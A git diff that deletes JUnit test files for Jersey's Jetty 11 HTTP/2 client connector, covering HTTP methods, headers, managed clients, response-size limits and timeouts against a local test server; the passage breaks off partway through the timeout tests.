--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.List;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
deleted file mode 100644
index 215408b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
deleted file mode 100644
index 8412c41..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.PATCH;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.ExecutionException;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class MethodTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().get().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPut() {
-        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPutAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDelete() {
-        Response response = target(PATH).request().delete();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDeleteAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().delete().get();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPatch() {
-        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
-        assertEquals("PATCH", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
deleted file mode 100644
index 1c14296..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Response.Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
deleted file mode 100644
index e3b2c3d..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.net.URI;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class SyncResponseSizeTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
-
-    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
-
-    @Path("/test")
-    public static class TimeoutResource {
-
-        private static final byte[] data = new byte[maxBufferSize];
-
-        static {
-            Byte b = "a".getBytes()[0];
-            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
-        }
-
-        @GET
-        @Path("/small")
-        public String getSmall() {
-            return "GET";
-        }
-
-        @GET
-        @Path("/big")
-        public String getBig() {
-            return new String(data);
-        }
-
-        @GET
-        @Path("/verybig")
-        public String getVeryBig() {
-            return new String(data) + "a";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testDefaultSmall() {
-        Response r = target("test/small").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDefaultTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/big").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            Response r = t.path("test/big").request().get();
-            String p = r.readEntity(String.class);
-            assertEquals(p.length(), maxBufferSize);
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/verybig").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
deleted file mode 100644
index 59f242e..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
+++ /dev/null
@@ -1,239 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.DefaultValue;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.QueryParam;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.StreamingOutput;
-import java.net.URI;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-
-        /**
-         * Long-running streaming request
-         *
-         * @param count number of packets send
-         * @param pauseMillis pause between each packets
-         */
-        @GET
-        @Path("stream")
-        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
-                                         @QueryParam("pauseMillis") int pauseMillis) {
-            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
-
-            return Response.ok(streamingOutput)
-                    .build();
-        }
-    }
-
-    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
-
-        return output -> {
-            try {
-                TimeUnit.MILLISECONDS.sleep(startMillis);
-            }
-            catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
-            output.flush();
-            for (int i = 0; i < count; i++) {
-                try {
-                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
-                }
-                catch (InterruptedException e) {
-                    Thread.currentThread().interrupt();
-                }
-
-                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
-                output.flush();
-            }
-            output.write("end".getBytes(StandardCharsets.UTF_8));
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testTimeoutInRequest() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        final Response response = target("test")
-                .property(ClientProperties.READ_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-        assertTrue(response.readEntity(String.class).contains("end"));
-    }
-
-    @Test
-    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-
-            fail("This operation should trigger total timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
